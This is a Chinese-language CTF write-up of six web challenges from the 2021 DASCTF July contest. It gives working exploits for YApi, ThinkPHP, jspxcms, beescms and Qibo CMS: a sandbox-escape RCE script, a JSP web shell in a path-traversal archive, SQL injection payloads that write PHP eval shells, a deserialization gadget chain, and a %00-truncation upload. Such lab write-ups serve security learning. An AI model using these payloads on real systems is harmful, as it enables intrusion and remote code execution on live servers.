2021 DASCTF July
ezrce
果真就ezrce,直接网上搜到了RCE:yapi 远程命令执行漏洞分析,直接跟着操作走就行,这里复现一遍:
- 首先攻击者先注册一个新用户,然后登陆之后选择添加项目
- 项目名称和路径都能随便写
- 在设置 -> 全局 mock 脚本中添加恶意代码,开启并保存
POC如下:
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("ls /").toString()
- 随后添加接口,访问提供的 mock 地址即可。
cat flag
分析题目
源码:
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
if (!preg_match('/flag/i',$cmd))
{
$cmd = escapeshellarg($cmd);
system('cat ' . $cmd);
}
} else {
highlight_file(__FILE__);
}
?>
这里通过GET方法传递cmd
参数,通过正则匹配禁止了flag
字符,还要通过escapeshellarg()
函数进行再次过滤,这里稍微解释下这个函数的作用,escapeshellarg()
会在输入的内容两边加上单引号'
,使其变成字符串,在不进行其他奇怪的操作的情况下防止了命令注入。最后通过system()
函数在参数前拼接cat
命令进行对内容的查看。
nginx访问日志
根据题目提示,管理员访问过flag,我们可以查看web服务的访问日志,这里是nginx服务器,其访问日志的默认存储路径为:/var/log/nginx/access.log
可以发现有个本地IP访问过/this_is_final_flag_e2a457126032b42d.php
这个文件,但是这个文件名带有flag
这个字符,无法直接访问,需要绕过。
非ASCII字符绕过escapeshellarg()
如果系统未设置LANG环境变量,则字符在经过escapeshellarg()
函数会自动去除非ASCII的字符,example:
ASCII码字符的范围是0~127,那么我们只要构造大于127编码的字符即可,这里需要将十进制转变为十六进制
payload:
?cmd=/var/www/html/this_is_final_fla%81g_e2a457126032b42d.php
easythinkphp
进入题目之后啥也没给,就一个TP的框架首页,猜测又是框架的版本漏洞。
直接网上搜出上个月爆的ThinkPHP3.2.x RCE漏洞通报,直接用即可:
- 首先构造代码写进日志文件中,这里需要BP抓吧将URL编码后的字符改回去
- 然后再访问日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):
\Application\Runtime\Logs\Home\YY_MM_DD.log
?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_03.log
jspxcms
进去之后也是没有提示,感觉又是个框架的版本漏洞,网上搜之。
然后网上比较多的是安全客的这篇记一次由追踪溯源发现的“不安全解压getshell”,但是对于我这种没学过JSP的小小白来说还是比较难直接复现,于是又找到另一篇比较小白式的手把手复现复现jspxcms解压getshell漏洞
- 首先是找到个能用的JSP一句话,当然用冰蝎生成也行
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
- 然后把这个写到shell.jsp文件,打包成war文件
jar -cf test.war shell.jsp
- 然后使用python脚本生成恶意压缩包:
import zipfile
z = zipfile.ZipFile('test.zip', 'w', zipfile.ZIP_DEFLATED)
with open('shell.war','rb') as f:
war=f.read()
z.writestr('../../../shell.war',war) # shell.war为上一步生产的后门war包
z.close()
- 登上网站的后台
cmscp/login.do
,直接用admin
管理员登陆,并不需要密码。找到上传文件的模块,上传刚才的zip
压缩包
- 然后访问URL即可,密码是123,cmd命令执行
/shell/shell.jsp?pwd=123&cmd=cat /flag
cybercms
似乎又是一个框架版本漏洞,可以在网站得新闻动态里面找到一些蛛丝马迹,可以判断出是魔改了beescms。
然后可以访问/www.zip
拿到源码(当时做题的时候没找到,只能瞎摸),网上能搜索到这三篇关于beescms的框架版本漏洞。
【代码审计】 beescms 变量覆盖漏洞导致后台登陆绕过分析
前两个结合能够进行文件上传攻击,但是这里出题人把洞修上了,所以只能利用最后一个洞,只不过在原来的基础上又添加了过滤。
定位到漏洞代码:/admin/login.php
//判断登录
elseif($action=='ck_login'){
global $submit,$user,$password,$_sys,$code;
$submit=$_POST['submit'];
$user=fl_html(f1_vvv(fl_value($_POST['user'])));
$password=fl_html(f1_vvv(fl_value($_POST['password'])));
$code=$_POST['code'];
if(!isset($submit)){
msg('请从登陆页面进入');
}
if(empty($user)||empty($password)){
msg("密码或用户名不能为空");
}
if(!empty($_sys['safe_open'])){
foreach($_sys['safe_open'] as $k=>$v){
if($v=='3'){
//if($code!=$s_code){msg("验证码不正确!");}
}
}
}
check_login($user,$password);
}
这里我们可以看到,传入的user
和password
会经过fl_value()
、f1_vvv()
、fl_html()
这三个函数依次处理之后再传到check_login()
函数里面进行数据库的查询登陆操作。
跟进到上述3个函数的地方:/includes/fun.php
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/i','',$str);
}
define('INC_BEES','B'.'EE'.'SCMS');
function fl_html($str){
return htmlspecialchars($str);
}
function f1_vvv($str){
if(empty($str)){return;}
if(preg_match("/\ /i", $str)){
exit('Go away,bad hacker!!');
}
preg_replace('/0x/i','',$str);
return $str;
}
可以看到fl_value()
函数是使用正则表达式将一些常见的SQL注入敏感字符都替换为空,仅此而已,绕过方法就很简单了,双写即可,看是仔细观察此正则,发现有些是左右包含了一对空格的,那么绕过方式也是差不多,比如:
select => seselectlect
and => a空格and空格nd
f1_vvv()
函数限制不能使用空格,其中还有一个将0x替换为空但是返回值不赋值给任何变量的迷惑行为。
htmlspecialchars()
对输入中含有的特殊符号进行html实体化转义,导致不能写shell到目标服务器上。可以通过利用mysql注入的一个特性就可以达到注入效果(即对shell部分进行Hex编码),或者用mysql函数char()就可以绕过这里的限制。
最后跟踪到check_login()
函数,看是如何对数据库进行操作的:/includes/fun.php
function check_login($user,$password){
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
$rel=empty($rel)?'':$rel[0];
if(empty($rel)){
msg('不存在该管理用户','login.php');
}
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
这里构造了一个SQL查询语句:"select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1"
传到了fetch_asc()
函数中处理,其中这里的$user
是我们可控的。
跟进fetch_asc()
函数:/includes/mysql.class.php
function fetch_asc($sql){
$result=$this->query($sql);
$arr=array();
while($rows=mysql_fetch_assoc($result)){
$arr[]=$rows;
}
mysql_free_result($result);
return $arr;
}
这个函数直接将语句放到数据库中查询,再跟进到query()
函数中:/includes/mysql.class.php
function query($sql){
if(!$res=@mysql_query($sql,$this->link)){
err('bad!hacker!'."<br>sql:{$sql}","javascript:history.go(-1);");
}
return $res;
}
可以看到当查询失败的时候会返回查询的语句(这里出题人改掉了本来是输出报错信息的,因此这里用报错注入是行不通的),但是我们可以直接写马到服务器中。
payload:请求/admin/login.php
,POST提交数据
# char()函数
user=admin'/**/uni union on/**/selselectect/**/null,null,null,null,CHAR(60,63,112,104,11
2,32,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,63,62)/**/in in to/**/out
outfilefile/**/'/var/www/html/upload/shell.php'#&password=aaaa&code=&submit=true&sub
mit.x=60&submit.y=31
# 或者hex
user=admin'%09uni union on%09selselectect%091,2,3,4,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e%09into%09outoutfilefile%09'/var/www/html/shell.php'#&password=123&code=19ed&submit=true&submit.x=48&submit.y=23
ez_website
又是一个框架,网上只有这一篇文章:齐博建站系统x1.0代码审计
这里直接用文章中的反序列化链打就行了:
<?php
namespace think\process\pipes {
class Windows {
private $files = [];
public function __construct($files)
{
$this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
}
}
}
namespace think {
abstract class Model{
protected $append = [];
protected $error = null;
public $parent;
function __construct($output, $modelRelation)
{
$this->parent = $output; //$this->parent=> think\console\Output;
$this->append = array("xxx"=>"getError"); //调用getError 返回this->error
$this->error = $modelRelation; // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
function __construct($output, $modelRelation)
{
parent::__construct($output, $modelRelation);
}
}
}
namespace think\model\relation{
class HasOne extends OneToOne {
}
}
namespace think\model\relation {
abstract class OneToOne
{
protected $selfRelation;
protected $bindAttr = [];
protected $query;
function __construct($query)
{
$this->selfRelation = 0;
$this->query = $query; //$query指向Query
$this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
}
}
}
namespace think\db {
class Query {
protected $model;
function __construct($model)
{
$this->model = $model; //$this->model=> think\console\Output;
}
}
}
namespace think\console{
class Output{
private $handle;
protected $styles;
function __construct($handle)
{
$this->styles = ['getAttr'];
$this->handle =$handle; //$handle->think\session\driver\Memcached
}
}
}
namespace think\session\driver {
class Memcached
{
protected $handler;
function __construct($handle)
{
$this->handler = $handle; //$handle->think\cache\driver\File
}
}
}
namespace think\cache\driver {
class File
{
protected $options=null;
protected $tag;
function __construct(){
$this->options=[
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../public/uploads/images/a.php',
'data_compress' => false,
];
$this->tag = 'xxx';
}
}
}
namespace {
$Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
$Output = new think\console\Output($Memcached);
$model = new think\db\Query($Output);
$HasOne = new think\model\relation\HasOne($model);
$window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
echo urlencode(serialize($window));
}
原来的路径是没有权限的,这里需要写到/public/uploads/images/
下,生成的序列化字符:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bs%3A3%3A%22xxx%22%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A3%3A%7Bs%3A15%3A%22%00%2A%00selfRelation%22%3Bi%3A0%3Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A3%3A%22xxx%22%3B%7Ds%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A144%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3DaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F..%2Fpublic%2Fuploads%2Fimages%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bs%3A3%3A%22xxx%22%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7Ds%3A6%3A%22parent%22%3Br%3A11%3B%7D%7D%7D
然后请求:
/index.php/index/labelmodels/get_label?tag_array[cfg]=序列化字符
然后蚁剑连接:
/public/uploads/images/a.php12ac95f1498ce51d2d96a249c09c1998.php
到终端里面直接cat /flag
显示没有权限,但是有个readflag
的可执行文件,运行即可。
jj’s camera
题目提示说只是改了前端页面,直接把前端JS代码贴到谷歌搜,得到这一篇文章:在吗宝贝?你点开这个网址看看[打开网站偷拍照片]
这是个偷拍的钓鱼网站,先生成链接,当别人点击生成的链接的时候就会请求使用摄像头权限,会偷偷拍一张照上传到服务器中,我们可以截包看看数据:
图片数据是以base64的形式传输的,其中后端的代码在这:
qbl.php
<?php
error_reporting(0);
$base64_img = trim($_POST['img']);
$id = trim($_GET['id']);
$url = trim($_GET['url']);
$up_dir = './img/';//存放在当前目录的img文件夹下
if(empty($id) || empty($url) || empty($base64_img)){
exit;
}
if(!file_exists($up_dir)){
mkdir($up_dir,0777);
}
if(preg_match('/^(data:\s*image\/(\w+);base64,)/', $base64_img, $result)){
$type = $result[2];
if(in_array($type,array('bmp','png'))){
$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
file_put_contents($new_file, base64_decode(str_replace($result[1], '', $base64_img)));
header("Location: ".$url);
}
}
?>
首先将传入的id
、url
、img
参数用trim函数去除掉两端的空字符,然后将我们用POST方法传入的img
参数中的base64
字符串提取出来解码后用file_put_contents()
函数写入到文件中。同时还限制文件后缀为bmp或者png,在base64这里不能绕过后缀检测上传php文件。
这里的利用点是文件路径名的命名,这里文件路径的命名格式是$new_file = $up_dir.$id.'_'.date('mdHis_').'.'.$type;
,其中这里的$id
是我们可控的,查看PHP的版本号为5.2.17,存在经典的%00
截断漏洞,我们可以将id
命名为a.php%00a
,经过截断之后就只剩下a.php
的部分了,%00
后面加a
是因为要经过trim()
函数会去除两端的空字符。
我们可以把PHP代码base64加密之后写在图片内容里面,就能上传到服务器中,再配合%00
截断漏洞即可解析为PHP文件。
payload:
/qbl.php?id=a.php%00a&url=http://baidu.com
POST:data%3Aimage%2Fpng%3Bbase64%2CPD9waHAgcGhwaW5mbygpOz8%2B
注意POST的数据要URL编码,上传后的文件在/img
目录下